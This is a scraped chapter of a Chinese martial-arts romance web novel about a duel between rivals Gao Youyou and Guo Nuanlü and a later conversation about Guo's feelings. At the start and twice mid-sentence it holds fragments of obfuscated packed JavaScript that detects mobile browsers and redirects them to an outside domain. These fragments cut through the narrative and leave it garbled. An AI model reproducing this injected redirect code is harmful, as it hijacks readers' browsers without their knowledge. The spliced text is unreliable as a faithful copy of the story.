l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969460|177768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >惊出了一丝令人生寒的笑。 如疯如痴,如心悦如敬佩,几乎是这半年来最开心的笑! 这世上也只有你。 能拆得了这招、解得了这死题。 且是用这样巧妙的方式,这样厉害的方法。 我没看错你,我从来都没看错你是不是? 你还是我认识的宿敌对不对? 你会尽全力杀我的,是不是! 对方剑光袭来,而他毫不犹豫地带着杀人的指法一跃而前,势必杀到把所有招式都用尽时,他又听到了那个声音。 那个微微清甜的陌生少年音。 【你在笑唉,你很开心对吗?】 高悠悠一愣。 为什么又听到了……为什么还是能听到这声音? 等他回过神来的时候,咽喉处已冲跟过来一把剑。 郭暖律的曲水长剑。 剑若银流水瀑,曲挽芳华,却带给了高悠悠此刻最大的震撼。 因为他的咽喉,此刻竟抵在别人的剑下。 生死一刹,岂能容得下他一瞬间的分神? 而郭暖律纵使内力不及于他,可速度上却是绝对的恐怖,只这短短一丝不足间隙的分神,如果是别人,高悠悠仍旧可以迅速打杀回去。 可对面是郭暖律。 他就没有机会了。 分神即败。 然后,高悠悠冷眼看过去。 郭暖律的剑是抵着,那毫不掩饰的仇恨目光是这样看着。 可是没有下手。 且是在千钧一发之际以万夫不可阻挡之力去收了手,且是能在高悠悠的脖颈前三寸刚好停下。 停在那袅娜的秀气的脖子上。 可是他依旧没有下手。 而这场变故,已经让在场的所有人都震惊到无法言说了。 只有高悠悠目光漠然地看向前方。 “你赢了。” 好像只是说一句和自己全然无关的事实。 郭暖律却皱了皱眉。 【你竟然在这么重要的决斗中分心了……你之前几十次跳舞的时候,都没有分心的。】 又在说一些莫名其妙的话了,高悠悠不由得瞪着他,一字一句提醒道:“你赢了,下一步?” 郭暖律却只以厉烈如冰火的目光瞪回去:“闭嘴!” 【我必须想明白你为什么要分心,你从方才开始就很不对,很不对!】 高悠悠只一动不动盯着他,像揭发也像是抓贼那样看向他。 心中不由得生出了一个可怕而荒谬的结论。 这小子和我做了整整一年的宿敌,看上去打生打死…… 结果从头到尾,他根本没想过他可能会赢我这件事吗? 他从来没考虑过这个结果? ……以至于现在卡在这儿了? 高悠悠忽试探性地往前一急走。 一走就是把咽喉走上剑尖。 结果这一走,高悠悠发现他的喉咙还是贴着剑尖。 因为郭暖律也几乎在同时往后退立了一步。 和他退的距离完全一样。 高悠悠莫名其妙地看向对方。 郭暖律也莫名其妙地瞪着他。 瞪得高悠悠有点微微怒了。 又前进了一步。 对方又又又无形地后退了一步。 再进一步。 再退一步。 退到一旁的众人有人看得直接呆了。 “那个……我刚才看见郭暖律直接退了一小段是吧?他是在高悠悠冲过来的时候退的,还假装没退对吧?” 高悠悠沉默了一小会儿。 然后迅速地,果断地往前猛冲! 一定要把咽喉送进剑尖才算完整! 结果他一冲之下。 剑尖直接就往后一撤,抵在他咽喉的就从剑尖变成了剑鞘。 同时郭暖律只以一种可结成冰的凌厉目光瞪向他。 高悠悠的眉眼已经微微搐动了。 “……你这是在侮辱谁?” 你在这么多人的面前赢了我,却不杀。 你想告诉他们什么? 还是想告诉我——你从来没认真地当我是死敌? 我可没有留手。 那你凭什么留手? 你留的是什么手! 郭暖律瞪了他一眼。 这次却连剑鞘都收了回来。 同时抹了抹唇边的一抹血痕,像抹开了一道儿残破的胭脂。 高悠悠刚想骂,却看得一愣。 他才发现对方刚刚为了收这千钧万险的一剑,半空撤力强扭身形,甚至导致内伤反噬,唇边才留下了血。 郭暖律只把剑鞘一收,一动不动地死死盯着高悠悠。 “你方才为什么要分心?” “我一定要知道这一点。” 看着对方脸上的血,脖子上的血,还有那坦然告知执念的样子,高悠悠的怒意…… 不知为何就聚不起来了。 毕竟如果是他的话。 也会想弄明白对手的一切。 郭暖律催道:“说明白,我就干脆地杀了你。” 高悠悠只无所谓道:“这对你很重要?” 郭暖律嗤笑一声,却也在这时抬起那一双在黑夜里也同样明锐冷寂的双眸,好像里面有什么亮堂的东西在无边无际的夜里滚了一遭再下来,以至于落于眸间,却还是那样定定地亮、凛凛地闪。 “是很重要,因为这会决定我的下一步。” 【因为如果我想不明白刚才你为何分心的话。】 【我就必须绑架你了,高悠悠。】 4. 神魔自古一念间 心声一落,高悠悠先是猛生一顿震惊和恍然。 然后指尖一动,杀心骤起! 在这杀心聚起之前,他还在和郭暖律平静地说话。 郭暖律此刻也正在想事儿。 想事儿就有迟疑。 迟疑的时候,他手里拿着的还是剑鞘。 而不是双剑。 只这一瞬迟缓。 就给够了机会。 高悠悠电光火石般抬起一指,在所有人都没预料到的关头,急弹而切射出一道儿无形无相、却如霹雳的指风。 这么近的距离下,郭暖律当即以身体本能拿出剑鞘挡在胸口,却因巨大的冲击力而如一只受到弹弓击打的飞鸟。 荡跌出去,翻飞如蝉! 他在半空之中强行提起一阵内力,可方才强行停剑时的内伤反噬却拖累了他的一点点速度。 鲜血从口中溢出。 他忍痛调整身形,再要复起时。 脖子间已搁了一根手指。 高悠悠的手。 一只杀人的手。 也是一只所有人都挪不开眼的手。 也不知是神功特成还是天地造化,这只手的指节修得恰到好处,多一分是画蛇,少一点是不足,手脉纹路,是最高明的书法家都没办法绘出的一撇一捺。那只手的肤感,竟异于常人。 竟在暮光下浮着一种比冰脆,比玉更明净的润光。 仿佛不是一只手,而是一朵藏着某种精灵的莲,是层层叠叠地被人摆放、雕刻成那个样子的。 让人想吻上去,摸上去。 是对这世间所有好色的口舌和好动的手指的挑战。 可这样一只手。 却掐死过百十个恶徒、戳死过数十条不甘的性命,也点死过十几个闻名于世的高手。 美和神佛。 杀如阎王。 便是高悠悠的手。 而此刻,高悠悠冷眉凝目地看向他。 “你知道你输在哪儿么?” 郭暖律扬起了好看俊秀的脸,吐了一口长长的气儿。他躺在那儿平平静静、冷冷淡淡的样子,就像是接受一场早就期盼的刑罚,一种介于死与生的奖励。没有恼,没有怒,也没有不服气,只是单纯地…… 懒得说话罢了。 高悠悠却有些不舒爽。 他的指搁在对方的脖子上,几乎可透过那瘦长有力的脖颈体会到一条大好性命的脉动,也几乎可以瞬间体会到一种脖骨碎裂的声音。 这种情况下,郭暖律为何不说话? 那他就要说话了。 而且是以教导的口吻去严肃冷寂道: “只要没有一方彻底倒下,决斗就永远不算结束,我以为你出道这么多年,杀了这么多人,出了这么多剑,反败为胜这么多次……你应该已经明白这个道理。” 说到后面,故意加重、咬字。 场地里几乎只剩下了他冷寂而没有任何情绪的声音。 连呼吸声都被盖了过去。 尤其是郭暖律的呼吸声。 高悠悠抬头看去,他要看郭暖律的反应。 要看对方的冷眸发出愤怒的喷火的气息。 可是郭暖律没有。 他只是冷冷淡淡地、毫不在乎地,好像即便自己的性命已经完全掌控在了高悠悠的指尖,他也会和之前一样随意地说几句嘲话、闲话。 他似乎已完全不在意。 更让高悠悠奇怪的是。 这个时候,他就读不到对方的心声了。 为什么郭暖律这个时候就没有一点心声? 这个时候不应该是有很多很多的心声出来吗? 不应该有强烈的山呼海啸一般的无法遏制的恐惧么? 不应该有愤怒、懊恼、渴求性命、骂他卑鄙无耻、骂他反手忘恩,骂他只求胜利不顾一切的姿态吗? 难道不该骂吗? 还是说……郭暖律以为自己会和他一样,把决斗当儿戏,会留什么情面,会下什么软手? 还想着绑架? 还想着生擒? 你以为这是什么你追我逃的游戏么? 这是你死。 我活! 高悠悠目光一冷。 他立时指尖发了微力。 他看见郭暖律的脖子已不受控地微微向后倾倒,脖颈之间的青筋已如虫豸一般在漂亮健康的小麦色皮肤上一跃一动,脸色已呈现一种受窒的微白。 郭暖律却始终未曾言语,脖子上的指陷得越来越深,终于到了影响他说话能力的程度。 他说不了话,做不出什么。 只有那双冷厉清明的眸,如一双带着焰尾的尘星子在燃烧,遇火摧火,遇风折风,从天际缓慢下坠到了人间。 下坠到了高悠悠的眼中。 他看着眼中的这个男人。 这个数十次交锋几乎致自己于死地的男人。 也是这个在最后一刻留了情面,把那一万夫不可阻挡之剑给硬生生折下,以导致自己受了内功反噬的男人。 这个男人……这个人……此刻他的性命就在我手中。 高悠悠目光一狠,看着这个被他掐攥得一点儿都动弹不得的这个人,仿佛失望得根本不愿再多说几句。 可他还是说了。 “不管你心里在想什么,你既不肯下死手,那我留你这样的对手,这样的宿敌……也没什么用处……” “给你最后一次机会,你可还有什么遗言?” 他的指尖微微一松。 他想让郭暖律说话。 可指尖仍旧搁在对方的脖颈上。 对方不说话了,没有心声了,他反而生出一种强烈的不安,想要急切地、迫切地听到对方说的话。 可郭暖律只是平静漠然地看着他。 一句话都没说。 这种平静的力度,这种稳定的极致,反叫高悠悠的心内生出了各色不安跳动的火焰。 “你以为不说遗言,我就会放过你?” “是你自己要对我留手,不是我求你留的手,我现在就杀了你,省的午夜梦回还要梦到你……” 梦到你,梦到你的眼,你的心声……你的那些少年一样的心声…… 我统统不想再听到了…… 他似是心中魔怔杀性一起,竟重新掐上了对方的脖颈,这次使了比之前更足、更狠,势要置人于死地的劲儿! 有个人说他是佛子容貌,却是修罗心肠。 也不算错。 从来不错! 郭暖律的脖颈被掐在那指间,内力劲儿几乎从脖子一点儿灌入全身,以至于他的脸色也发出了一种异样悲惨的红。 最后这人竟干脆闭上了双眼,竟仿佛在忍受这种死亡之前缓慢下坠的跌落。 可还是没有说话 也没有反抗。 高悠悠心中却伸出一股子仿佛是被无视的、痛惜般的、原始而又滚烫粗糙的的愤怒。 你都要死在我手里了。 为什么一句话都不给我留下? 你以为摆出这副姿态我就会放你…… 【没关系的……我已经准备好啦。】 高悠悠心底猛地一颤。 准备好了……是指这个? 然后他又听到了那个清亮的,纯粹的,没有任何杂质的少年音色。 【不要难过啊,高悠悠。】 好像一个躲在角落里多年的少年走了出来,向着他递来一颗童年从未得到的糖果,然后冲他扮了个鬼脸,接着爽气一笑,俏皮地说了一声——“不要难过啊,高悠悠。” 高悠悠忽觉一阵恍惚。 他这样铁石心肠、杀伐果断的人,掐死戳死点死的人比他吃过的盐还多,可这一刻的恍惚却如心头一阵重击。 像本就在天与地之间来来回回升腾的云朵,被甩进人间重新了洗刷了一回,却是轻轻洗而没有褪色的那种,空气里的每一分每一寸都好像在回应着他的这种恍惚,以至于眼前的景象变得模糊而不确定了,心里像一个被困住的孩子使劲往前冲,冲到心房撞了个鲜血淋漓,才把他很久很久没有拿出来的那点子温情、脆弱,给释出。 忽然,他的手中一松。 郭暖律的脖颈从掌心之中温然地滑落。 可是高悠悠的恍惚并未结束,而是看着眼前这个刚才生死危机之中逃离出来的男人。 被指风透骨的,内伤发作,以至于有些站不起来的郭暖律,此刻竟有些茫然而困惑地看着他, 好像在问。 我已经准备好了,你为什么…… “唰”地一下!他看见郭暖律的眸子瞬间睁大,且充满了惊恐。 从未见过的惊恐。 然后高悠悠才觉背后一阵微寒。 才觉出一种难以想象的剧痛从脊背的某一处开始蔓延。 鲜血从他的背后渗了出来。 一把剑的尖头没了进去。 像一点清雪山冰的白。 撞入鲜红滚烫的海。 高悠悠赫然回头。 发现背后出剑之人竟然是——徐宴冲。 他也是满脸惊恐。瑟瑟发抖地握着手中的剑,仿佛也没料到自己这一招从背后竟然命中了,他几乎是喃喃道: “你……你杀了我的堂兄,我……我必须报仇的……” 高悠悠忍不住发出没有温度的一分笑。 他打了所有人,却唯独不小心遗漏了这个。 其实也不是不小心。 只是对方那副憧憬的、崇拜的、完全没有杂质的眼神。 让他想起了刚入门时看他的那些师弟师妹们罢了。 没想到这一星半点的仁念、慈悲。 换来的是…… “我救了你……你在我背后出剑? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969461|177768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 徐宴冲一愣,巨大的愧疚和惶恐几乎把他的整张脸都拉扯得面目全非,口中更是语无伦次,形同哭泣一般:“我……我不想的……可是我只有这个机会……只有你恍惚的机会我才能杀了你……杀了你!” 不等他说完,高悠悠猛地转身扭胯,硬生生地让那剑尖从自己的脊背抽拉出去,竟在半空中蹿出一道儿血泉。 点点滴滴的血落在地上,犹如几点道义聚成的红梅凄厉地洒在名为人间的大画布上。 那图案像一个嘲讽的奸恶笑脸,也似是一位菩萨的悲悯抬唇。 高悠悠立刻想出指杀人,却忽觉背后的伤势清寒无比,登时觉得五脏六腑的血都一起聚涌上来,背部的肉好像被什么人大力地绞扭着,整个人无处着力,无处可立,浑身软了大半,像一片儿翅膀遭折,从云台跌落的病鸟。 他想站立,却踉踉跄跄,几乎要跌倒。 徐宴冲都看得目瞪口呆,手颤到几乎打摆子了。 场上围观的那些人,立刻提醒了懵了的徐宴冲。 “徐少爷,这是你唯一的机会了,别心软,杀了他,杀了他啊……!” “他不死的话一定会杀了我们的,你不能给他机会啊!” “别忘了你的堂兄!别忘了他!” 徐宴冲仿佛才想起了什么,如同被所有人的声音推着上前,如同这样就能忘记自己曾经的目的和原则是什么……他跌跌撞撞地……走上前来。 却被一道寒光直冲进胸口! 直接把他撞飞了五尺。 撞得肋骨立断三根,还在空中连续翻滚了多圈。 撞进亭内,翻了一张石桌三根椅子,翻倒了碗筷酒杯一副,甚至翻到了三根台阶上,从上狼狈无比地滚下来,猛地吐出一大口血,方才停歇。 他忍着剧痛,口中鲜血直流地抬起眼。 发现站着的是郭暖律。 那个受了高悠悠一击,险些被窒死的人。 此刻怒火中烧,目光冰冷地看向自己。 徐宴冲几乎是满腔悲怒地勉强抬头道:“我……我刚才杀他……也是,也是救了你……” 郭暖律冷冷道:“他救了你,你却从背后出剑……你救了我,我便从正面出剑鞘……岂不是刚好?” 徐宴冲彻底愣住。 “更何况,在你出手之前……他就已经松指了。” “你没有救任何人,包括你自己。” 郭暖律当即一剑滑过。 一阵惨叫过后,徐宴冲的手筋处几乎是鲜血淋漓一片,这人怕是以后都不可能再用剑了。 高悠悠勉强站着,只觉背后像被烈火灼烧过,心里却明白这不单单是剑伤,而是自己方才一瞬间心魔攻身,真气本就有些逆行,如今那火焰更像是一路从背后烧到了心脏处再倒溢出来,如今心口像被锤慢杀、刀软割一般,又似一阵蛮牛从心脏那边往前冲发,却跑错了方向,不到胸膛,竟是在背部撞了个支离破碎。 他面如白纸,眼前恍惚,胸口背后如四方拉扯一般疼,却始终紧握双拳,如残缺的神像一般,威严而冷漠看向周围的所有人。 他没有倒下。 他还是站着。 他不会输掉! 郭暖律来到了他身边。 脖子上还有新鲜红肿的掐痕。 眼睛带着血丝,甚至连说话声音都是沙哑的。 胸口也有一道儿明显的贯穿伤,是刚刚的指劲儿穿的。 “你说得对。” “只要决斗没有一方完全倒下,胜负就没有分……” 高悠悠冷笑道:“所以,你终于明白这个道理了。” 郭暖律冷静道:“所以……” 【所以,我不会和你跳舞了。】 这时他手上先抖擞了软剑,抖出一阵炫目的瀑布流光,抖到高悠悠的目光全在这把杀人无数的软剑上时。 他忽扯下自己的腰带,往前猛地一个投掷! 缠在高悠悠的手腕上,再往前猛地一扯,高悠悠猝不及防之下,往前一个跌扑,却被他抱了个满怀。 郭暖律一手已抱扯住他。 一手点住高悠悠的穴。 高悠悠眼前一黑,顿时脑袋一垂,晕了过去。 郭暖律看着枕在身边虚弱的人,那双素来嘲讽讥诮,藐视世间英豪的眼,却是软温了下来。 他小心翼翼地伸出手,让高悠悠好看的脑袋枕在臂弯,又看那瀑一般的秀发垂落下来,如黑缎子闪着光。他伸手一点,像点了什么烫手的水晶似的,觉得又烫又脆,又好看又不可思议,眼前还有一种惊艳迷离的恍惚感。 然后,在第一次的点触成功后,他却看见了眼前人的背上——那大片大片、触目惊心的血。 他忽然心疼黯然,懊恼痛苦地低下了头。 然后难过又小心地绕过背部,像燃尽也用尽了身上的一切力量,抱住了昏迷的高悠悠。 5. 他如何喜欢人 一年前第一次见到高悠悠的时候。 郭暖律感到的其实也是一阵恍惚。 像他这样出道多年的江湖剑客,风里来雨里去,见过的人物和不人不物的东西多了去了,可当他见到传闻中的高悠悠本人。 他还是感到恍惚。 一种致命的恍恍惚惚。 好像眼前受了一阵重击,被一种强烈地无法抵挡的强光给刺了一下,烧了一点,灼了一道儿。 适应了好一会儿,几乎是拿多年来积攒的决心和毅力去抵挡才感觉到了这股强光的来源。 是高悠悠本人。 是他站在那儿。 他站在一个四处流血的客栈里,脚下是死人也有活人,可他仰头时睁开的那双湛然冷清的双眼,让人想起下雪天里白茫茫的山野反射的强光。好像埋伏了很久,专门就是在那儿等着郭暖律过来的那种强烈的,无法被忽视的光。 郭暖律强行逼迫自己冷静下来。 他一向擅长在最剧烈的情绪中逼迫自己冷静,这种冷静让他能在被包围时找出最能逃生的路线,叫他能在陷入最可怕的绝境时也能发现敌方的弱点以至反败为胜。 这是一种生存的本领。 藏好自己。藏好情绪。 于是他藏着一切也捏着一切,嘴边溜出来的话就成了一句最寻常不过的冷言冷语。 “你谁啊?” 然后在那次见面之后,他们多次厮杀多次交手,不分胜负、难说上下。 郭暖律总是去找他。 总是负伤。 越伤越找。 越找斗得越是激烈,学得更多也杀得更狠,且每次去找高悠悠的时间间隔都在缩短,每次回来的精神状态也越发出奇地热情。 这种不同终于被朋友注意到了。 朋友的名字叫白少央。 白少央,外号“横刀请剑”,不过这点不重要,重要的是他是个极擅交际,极爱结缘,连眼也极毒的人。 他曾经进去一个茶棚,里面坐了五湖四海来的五个陌生人,一炷香后他离开,五个人里就有四个人都成了他的朋友。 第五个人则成为了他很好很好的朋友。 他曾经在大街上看见一对看似热拢的夫妻和丈夫的妹妹走在一起,只看了一眼走势、坐势、及牵手势,就精准地看出了妻子和妹妹的关系更为不同寻常,而丈夫似乎只是两条河中间搭的桥。 果然一个月后,妻子和妹妹私奔了,而丈夫找了妻子的弟弟生活在了一起。 于是,白少央果断地注意到了郭暖律的不同寻常。 他找高悠悠的频率是不是有点……过于频繁了? 从前朋友找他,他都是推三阻四嫌七搞八,怎么现在自己主动去找高悠悠,还在这么短的时间内,找了那么多次? 半年就几十次啊! 他和某些朋友几年才一次见面的! 白少央实在是好奇得憋不住。 就约了朋友在一个茶馆,开门见山。 “你是不是……喜欢上了那个小无相山的高悠悠?” 如果郭暖律真能喜欢上什么人,那也算是天大喜事了。但这个人若是和他经常决斗的高悠悠,却不知是喜是忧了。 郭暖律果断而冷肃道:“我并不喜欢他。” 白少央忍不住松了口气。 然后他就听到对方异常冷静和平淡地说。 “这只是一种健康的自恋而已。” 啊? 他好像听懂了所有的字眼却完全不知道对方在说什么,茫然得像一个抹去了所有恋爱知识的情场巨婴。 而郭暖律却以那种“你竟还不明白”的鄙视眼神看着他。 然后他竟然开始解释。 大段大段、逐字逐句地解释,是白少央从未见过的会说很多话的郭暖律,与平日里那个沉默寡言、能不说就绝对闭嘴装死的人完全不同。 “这当然是一种自恋。” “因为高悠悠很像小郭。” “我现在是老郭,小郭当然就是年轻时的我。” “我很爱很爱小郭,当然也会喜欢像小郭的他。” “他像小郭一样好斗、像小郭一样凶狠野蛮,也像小郭一样永不服输、为胜而活!” “那他就是小郭的替身。” “所以我的这种喜欢也不过就是一种自恋。” “只是比较健康和正常的自恋而已……” 白少央:“……” 他感觉自己积累的所有恋爱知识和看人关系的阅历,在郭暖律面前都成了白纸、废纸……甚至是厕纸! 然而,这种健康的自恋论在一个月后就宣告破产了。 因为白少央在一个月后看见了决斗负伤归来的他,无奈且无想法地问:“你最近还在‘自恋’嘛?” 脖子上留有一抹如吻痕般的指印的郭暖律断然抬头,冷肃地瞪他一眼:“当然不是。” “这次决斗让我对他有了更清楚的了解。” “他一点也不像是年轻时的小郭。” “这种喜欢当然也不会是自恋。” 白少央凑过去,恨不得自己长了三双耳朵道:“那到底是什么?” 郭暖律看了一眼周围,确定无人的情况下才一本正经、极度严肃道: “这其实是一种妄想!” ……啥? 郭暖律先喝了一杯水,然后一反常态地长谈道:“首先,我才认识高悠悠几个月,我根本不可能真正地了解他心里想什么,我也不清楚他的生平一切,我喜欢的高悠悠,实则是我心中幻想中的高悠悠,是美化的,无缺的,是和真实的他有大大区别的,我喜欢的是我心里这个美好无暇的形象,并不是真实的他。” “所以,我喜欢的其实是这种喜欢一个美好的假人的感觉,而不是喜欢这个真实的人。” 最后,郭暖律如同把心中积压的思想块垒都劈碎,喝完一整杯水,并长舒出一口气道: “所以,这种喜欢其实是一种妄想。” 白少央:“……” 这个小子……已经完全沉浸在自己的世界里不可自拔了吧? 他其实心里明白——自己的这个多年老友一直都是很离谱很离谱的人。 年轻时候的郭暖律有一种令人发指的洁癖,他看见人亲热,看见肉与体扭捏地抱在一起,就有种全身发麻,想要剧烈呕吐的恶心感,后来这个人形单影只久了,就会神神叨叨地和人说——剑是他的老婆。 这小子一直都离正常人很远。 但现在他离任何生物都很远了。 这是一个活着的会动会想的生物能说出来的话吗? 于是,白少央忍不住问:“你都已经知道自己不可能完全了解高悠悠了,你也知道自己心中喜欢的高悠悠,与真正的他差得可能是十万八千里……那你还要这样喜欢下去?” 郭暖律却以利眼反问:“可是,你们不都是这样么?” 白少央一愣。 郭暖律那清冷目光如月下无尘的霜雪,一字一句都是霜雪里埋藏的刀。 “你喜欢什么人,不也是投入了你自己的幻想和美好的愿望?你扪心自问,你喜欢上相好时,你真的完全了解那人么?他喜欢上你时,他了解你是什么人么?那些恶毒的,虚伪的,美好的,庸俗的想法,他都喜欢么?你都喜欢么?” “所以,这世上的人喜欢别人的时候,本来就是喜欢自己加入的美好印象,你们喜欢的本来就都是幻想。” “你们都是这么做的,为什么我不可以?” 白少央见自己也被无差别攻击了,一边头皮发麻的恼,一边却是更多的困惑和好奇。 “好啊,就你活得清醒,咱们都在做梦,行吧?那你都知道自己喜欢的不是真实的他了,为什么还要接近?” 郭暖律笃定道:“为了消磨这层喜欢。” “啊?” “我从前喜欢喝水,就去喝各地的河水、雨水、雪水,喝到极致我就不那么喜欢了。” “我从前也喜欢杀人,就去杀各种该杀的、难杀的、必杀的人,杀到最后,我也没那么喜欢了。” “所以,只要我接近他够久,我就能知道他并非是我心目中那个神仙一般的男子,我就会知道——他高悠悠也不过是个普通的,有缺点的人,然后,这层妄想就会破灭,我对他的那些莫名其妙的喜欢,就能被消磨掉了……” 这理论就好像野生大象喝醉了酒唱的歌那样全是鬼扯,但被郭暖律这样一本正经、笃定坦然地说出来,又莫名其妙地很有道理。 不过他毕竟是郭暖律。 只要他想,哪怕是狗爱吃屎这件事他也能讲得像是一件金科玉律。 白少央持怀疑态度。 高度怀疑。 于是一个月后去看他。 发现对方身上的旧伤好了,新伤又多了几道,就知道他又又又去趁高悠悠下山的时候去找他了。 白少央忍不住道:“这次你接近他挺久了吧?有没有发现他的真实面目,有没有把这些要命的喜欢消磨掉?” “有的。”郭暖律笃定道,“从前我总觉得他是完美的,直到接近之后才发现——高悠悠其实也有缺点。” 白少央这回是真的好奇了:“什么缺点?” “他最大的缺点就是没有缺点。”郭暖律认认真真道,“像他这样没有缺点的人,就是木秀于林的那棵木,小人的口风天天想摧他,这么惹人妒忌这么容易叫人生事……这不就是他最大的缺点吗?” 白少央用尽全力才按住了在桌板上抠出三道指痕发出四种嘲笑以及翻上五个白眼的冲动。 “说点认真的吧,别开玩笑的那种,人不可能没有缺点的,我觉得高悠悠的缺点很明显就是……” “就是没有。”郭暖律认认真真道:“没有缺点,我知道朋友之间有不同的见解是很正常的,尊重不同观点是朋友的基础,我不会因为你不认同高悠悠没有缺点这件事就斥责你什么,只是如今时辰不早了,这里已经容不下没品味没眼光的人了……” 白少央:“……” ……说好的你人生中最重要的东西是朋友剑法和师父呢?几年前是谁说的这话?谁啊? 年纪大了,就容易背叛年轻的自己,这话一点都不假。 自恋论爆破了,妄想论流产了,白少央觉得郭暖律肯定是想不出新的理论和新的胡扯来搪塞敷衍了。 于是一个月后他再度拜访对方。 看了一圈对方战斗之后跃跃欲试的眼神,白少央笑嘻嘻地问道。 “这次你总得承认——你就是喜欢上高悠悠了吧?” 郭暖律异常沉默。 也许是思索。 也许是默认。 作为过来人,白少央忍不住拍了拍对方的肩:“认识到现实就好,这种时候你就可以向经验丰富的朋友请教了。” 对方异常冷淡道:“请教什么?” 白少央目光一亮,循循善诱道:“你可以请教请教我——怎么才能追求他,讨好他,甚至是改变他。” 郭暖律随意而冷静道:“我为什么要改变他?“ “他身上没有任何不好的地方。” 白少央笑容一僵。 拍在朋友肩膀的手渐渐退到了自己的身上。 这个时候还装什么强硬冷漠啊…… 你都默认是喜欢了,那难道不应该…… 想起这位朋友是如何难搞的性子,他只长叹了一口气,耐着性子,如哄一个完全没有经验的小朋友似的。 “高悠悠素来冷酷无情,不近任何男色或者女色,如果你不试着去改变他,让他容得下你,让他心里有你,你要怎么让他接受你的告白?” 郭暖律只淡淡道:“我为什么要和他告白?” 白少央愣住了。 “你……你不打算让他知道?” 郭暖律却以一种极为荒谬的目光看他,好像白少央刚刚问了一个小孩子都知道答案的常识性问题似的。 “我喜欢他是我的事,和他有什么关系?” “我心里的想法,他有什么知道的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969462|177768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必要吗?” 白少央彻彻底底麻了。 “你都不打算告白的话……你怎么和他在一起!?难道你在决斗中死在他手里的时候都不想让他知道!?” 郭暖律却以一种更加荒谬的,好像白少央刚刚问了一个完全不可理喻的问题似的目光看着他。 “为什么因为我喜欢他……他就要和我在一起呢?” 白少央彻底惊楞。 说不出一句话了。 郭暖律却是认真的、正经的,毫无玩笑地问他。 “高悠悠在遇到我之前生活了二十多年,他活得好不好?” “他是一个缺了爱意就活不好、活不强盛的人么?” 白少央像是被堵在了一个不可名状的认知角落似的茫然道:“好像……不是?” “不是好像。”郭暖律认真地,仿佛是想把这世上最高明的道理教给白少央似的,“他是我见过的活得最真,活得最高悠悠的人。” 白少央直直地瞪着他,那表情活脱脱写满了一句话……你能说点我能听得懂的话吗? 郭暖律淡淡道:“他在自己的世界里活了这么多年,他已经有了自己想要达成的梦,想要飞到的地方,他现在需要的是能帮他飞上去的那个人——也许是对手,也许是敌人,但唯独不是爱意。” “敌人的喜欢对他来说不是惊喜,而是打扰。” “更是冒犯!” “是不尊重与不专业!” 说到这里,郭暖律以一种异常困惑的眼神看向白少央,仿佛他才是那个缺乏常识的人。 “你们这些人,为何总觉得自己对某人产生了喜欢,就觉得他们理所当然地——该和自己在一起呢?” “你们的喜欢,难道只在于能不能和这个人在一起,只在于他可能会变成与现在全然不同的样子?” “不在一起,就不喜欢了?” “可是,现在的高悠悠有什么不好么?” “冷酷无情、一心一意只想达成最强的他,有什么不好?” “不知我心意,不和我在一起的高悠悠,和我没有未来的那个他。” “不还是他么?” 好像直到此时此刻,白少央才忽然意识到自己与眼前这位朋友相差的不仅是阅历、常识。 还有关于喜欢和恋爱上的巨大鸿沟。 几乎无法弥补的,天差地别的鸿沟。 白少央忍不住问了那个图穷匕见的问题。 “你认为喜欢的本质,到底是什么?” 郭暖律却反问他:“你觉得是什么?” 白少央苦笑:“我以为是——拉扯。” “拉一个人的心、肺、肝、脾,拉得这个人为你魂牵梦萦、日夜不停,扯得他想放下你却又放不下,想抛下你却只能抛下自己的一部分,最后,拉和扯到了一块儿,终于再也分不开,你中有我,我中也有你……” 郭暖律看了他许久许久,仿佛看见了白少央和他心爱之人那一段段美好的初遇,那些明明被道德压迫,却依旧无法克制的内心悸动,明知道是鲜血淋漓刺骨纠缠,明知是正邪不两立善恶得分明,却仍要取个两两相合,死也不分,爱到彻底的结果! 那些都是很好很好的。 只不过…… 只不过他还是开了口。 “我以为喜欢的本质……” “——其实是看见。” 郭暖律说到这儿,那冷淡得像结了冰的池塘的目光开始熠熠闪光。 就好像那一天他在客栈里装作若无其事其实差点被炫目的光闪瞎。 “我看见了高悠悠。” 他看见了高悠悠抬指时冷眼睥睨、毫不留情,丝毫不把任何人放在眼里的杀劲儿。 他看见了高悠悠不许他斥责师弟,那股残酷铁血下难得一见的慈悲与柔情。 他看见了高悠悠因为解不了一道儿招就日夜苦思,最后与他来回切磋试招终于得出了一个答案,而露出的那种得意地、畅快地,好像自己是天下第一的嚣张的笑意。 他看见了对方的手。 层莲叠花的手。 他看见了对方的眼。 日月星辰的眼。 就这么短短几个月的功夫,他却好像看见了太多,太多…… 他看见了高悠悠看见自己在半年后出现时的微惊与微喜——好像倒映在河川里的星子那么亮眼夺目。 他也看见对方把手指掐在自己脖子上时——那种藐视世间一切常规道德的讥诮和杀人见血的清寒刺骨。 也看见那不解和困惑,那种渴求答案到几欲愤死的眼神,还有那种被不知被什么东西击中产生的恍惚面色,那种在恍惚下产生的彷徨悲惧,和一种冰雕雪像似的尖锐的脆弱。 他更看见了——高悠悠背上那大片大片、触目惊心的血。 